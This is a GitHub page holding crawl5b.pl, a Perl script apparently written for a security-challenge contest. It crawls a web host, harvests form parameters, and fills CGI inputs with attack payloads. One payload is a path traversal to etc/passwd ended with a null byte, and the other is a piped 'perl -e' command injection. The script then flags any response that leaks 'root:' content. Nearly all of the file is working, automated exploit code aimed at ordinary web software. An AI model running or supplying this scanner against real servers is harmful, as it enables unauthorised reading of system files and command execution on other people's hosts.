-
Notifications
You must be signed in to change notification settings - Fork 9
/
crawl5b.pl
307 lines (282 loc) · 6.82 KB
/
crawl5b.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
#!/usr/bin/perl
#######################################################
#
# crawl5b.pl - by samy [[email protected]]
# This version includes a status line when not in
# verbose mode and a few others small things
#
# Updated September 14th
#
# crawl5b.pl
# crawls a machine (over http) for all links and forms
# and attempts to find CGIs on the machine with bugs
# (exploitable to reading any file on the system)
#
# my algorithm can be found at:
# http://cp5.LucidX.com/5balgo1.html
# and other algorithms along with similar programs can
# be found at http://cp5.LucidX.com
#
# developed specifically for challenge 5B of Caezar's Challenge
# check out http://www.caezarschallenge.org (Caezar++)
#
$statusbar = 1;
# a status-bar to show how many pages, CGIs, and bugs were found
$dats = 1;
# 1 to exclude the second algorithm (doesn't check for foo|perl -e...)
# speeds up scan twice as fast and checks for only the more common bug
# set to 2 to include the second aglorithm ($dat2)
$dat1 = "../" x 20 . "etc/passwd"; # ../../../../etc/passwd
$dat2 = 'foo|perl -e \'print"roo";print"t:"\'&&foo'; # may want to add a foo; at the beginning
$first = "img|a|body|area|frame|meta"; # tags right after a '<'
$second = "src|href|background|target"; # options in any of the tags in $first
@ignore = ( # file extensions that will not be an HTML or CGI
"gif", "jpg", "jpeg", "bmp", "psp", "mov", "txt", "ram", "wmv", "pdf",
"doc", "xls", "rm", "gz", "tar", "zip", "png", "mpg", "mpeg", "mp3",
);
#
#######################################################
$SIG{INT} = sub { die "\n" };
use IO::Socket;
unless (@ARGV == 1 || @ARGV == 2) {
die "usage: $0 <http://host[/start/page]> [-v (for verbose)]\n";
}
sub colored { return $_[0] }
eval("use Term::ANSIColor");
$bugsa = 0;
$cgisa = 0;
$pagesa = 0;
while ($dat1 =~ s/(.)//) {
$tmp = $1;
if ($tmp =~ /[\W[^\.\/]]/) {
$data1 .= "%" . unpack("H*", $tmp);
}
else {
$data1 .= $tmp;
}
}
while ($dat2 =~ s/(.)//) {
$tmp = $1;
if ($tmp =~ /\W/) {
$data2 .= "%" . unpack("H*", $tmp);
}
else {
$data2 .= $tmp;
}
}
$data1 .= "%00";
$data2 .= "%00";
($host, $tmp) = $ARGV[0] =~ /^(?:http:\/\/)?([^\/]+)(\/?.*)$/;
$ip = &host2ip($host);
$ign = join('|', @ignore);
print "Beginning to scan " . colored($host, "bold") . " :: " . colored($ip, "bold") . " for CGI bugs...\n";
print "Kick back and relax, this will take a while...\n\n";
if ($ARGV[1] eq '-v') {
$verbose = 1;
$statusbar = 0;
}
&status if $statusbar;
if ($tmp) {
$tmp =~ s/\/$//;
if ($tmp !~ /^\//) {
$urls{"/$tmp"} = 1;
}
else {
$urls{$tmp} = 1;
}
}
else {
$urls{"/"} = 1;
}
&recursive(%urls);
sub recursive {
%urls = @_;
foreach $url (keys(%urls)) {
if ($url =~ /\/$/) {
$curdir = $url;
}
else {
$url =~ /^(.*\/)[^\/]+$/;
$curdir = $1;
}
$read{$url} = $urls{$url};
delete $urls{$url};
$sock = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => 80,
Timeout => 10,
Proto => "tcp"
) or die "Can't connect to $ip:80\n";
$url =~ s/&$//;
$pagesa++;
if ($verbose) {
print "GETing $url\n";
}
&status if $statusbar;
print $sock "GET $url HTTP/1.0\nHost: $host\n\n";
$response = join('', <$sock>);
$response =~ s/\n/ /g;
$response = ">$response";
@res = split(/>[^<]*</, $response);
foreach $response (@res) {
$tmp = "";
# check for form beginnings
if ($response =~ /^form.*action\s*=\s*"?'?([^"'\s]+)/i) {
$form[0] = $1 . "?";
$form[0] =~ s/^http:\/\/([^\/]+)//i;
if ($form[0] !~ /^\//) {
$form[0] = $curdir . $form[0];
}
}
# check for a select
elsif ($form[0] && $response =~ /select\s+name\s*=\s*"?'?([^"'\s]+)/i) {
$form[0] .= "$1=";
$form[2]++;
}
# check for normal form inputs
elsif (
$form[0] &&
$response =~
/(?:type\s*=\s*"?'?([^"'\s]*)"?'?)?.*\s+name\s*=\s*"?'?([^"'\s]+)'?"?\s*(?:value\s*=\s*"?'?([^"'\s]*))?/i
) {
($type, $name, $value) = ($1, $2, $3);
$form[0] .= $name . "=" . $value . "&";
}
# check for option values for forms
elsif ($form[0] && $form[2] && $response =~ /option\s+value\s*=\s*"?'?([^"'\s]+)/i) {
$form[0] .= $1 . "&";
$form[2] = 0;
}
# check for end of forms
elsif ($form[0] && $response =~ /\/form/i) {
$form[1]++;
}
# check for unwanted tags
unless ($response =~ /^(?:$first).*(?:$second)\s*=\s*"?'?([^"'\s]+)/i) {
unless ($form[1]) {
next;
}
else {
$tmp = $form[0];
$tmp =~ s/&$//;
@form = ();
}
}
unless ($tmp) {
$tmp = $1;
}
if ($tmp =~ s/^http:\/\/([^\/]+)//i) {
$addr = $1;
}
else {
$addr = "";
}
if ($tmp !~ /^\//) {
$tmp = $curdir . $tmp;
}
if (
(
$addr && !$tmp
) ||
$urls{$tmp} ||
$read{$tmp} ||
$tmp =~ /mailto:|#|https:|ftp:|news:/i ||
(
$tmp !~ /\?/ &&
$tmp =~ /(?:$ign)/i
)
) {
next;
}
if ($tmp =~ /\?/) {
# $read{$tmp} = 1;
$urls{$tmp} = 1;
&check($tmp);
}
else {
$urls{$tmp} = 1;
}
}
}
if (%urls) {
&recursive(%urls);
}
}
sub host2ip {
return join(".", unpack("C4", (gethostbyname($_[0]))[4]));
}
sub check {
($cgi) = @_;
$cgi =~ s/&$//;
$cgisa++;
if ($verbose) {
print "Attempting to break $cgi\n";
}
&status if $statusbar;
$cgi =~ s/([\+\%\$\@\*\\\|\^\(\[\{\)\]\}])/\\$1/g;
$origcgi = $cgi;
$cgi =~ s/^(.*\?)//;
$cgib = $1;
if ($cgi !~ /=/) {
for (1 .. $dats) {
$origcgi =~ s/\?.*$/?/;
$origcgi .= ${data . $_};
$sock = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => 80,
Timeout => 10,
Proto => "tcp"
);
print $sock "GET $origcgi HTTP/1.0\nHost: $host\n\n";
$response = join('', <$sock>);
$response =~ s/\n//g;
if ($response =~ /root(?:\:|"|')/ && !$bug{$origcgi}) {
$bug{$origcgi} = 1;
if ($statusbar) {
print "\r";
}
$bugsa++;
print "BUG FOUND - http://$host$origcgi\n";
}
}
}
else {
for (1 .. $dats) {
%info = split(/=|&/, $cgi);
foreach $key (keys(%info)) {
$origcgi = $cgib . $cgi;
$tmp = ${data . $_};
$origcgi =~ s/((?:\?|&)$key=)$info{$key}/$1$tmp/;
$sock = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => 80,
Timeout => 10,
Proto => "tcp"
);
print $sock "GET $origcgi HTTP/1.0\nHost: $host\n\n";
$response = join('', <$sock>);
$response =~ s/\n//g;
if ($response =~ /root(?:\:|"|')/ && !$bug{$origcgi}) {
$bug{$origcgi} = 1;
if ($statusbar) {
print "\r";
}
$bugsa++;
print "BUG FOUND - http://$host$origcgi\n";
}
}
}
}
}
sub status {
print STDERR "\r" . " " x (6 - length($pagesa));
print STDERR colored($pagesa, "bold");
print STDERR " - pages accessed / " . " " x (5 - length($cgisa));
print STDERR colored($cgisa, "bold");
print STDERR " - attempted CGIs to break / " . " " x (5 - length($bugsa));
print STDERR colored($bugsa, "bold");
print STDERR " - CGI bugs found";
}
END {
print "\n";
}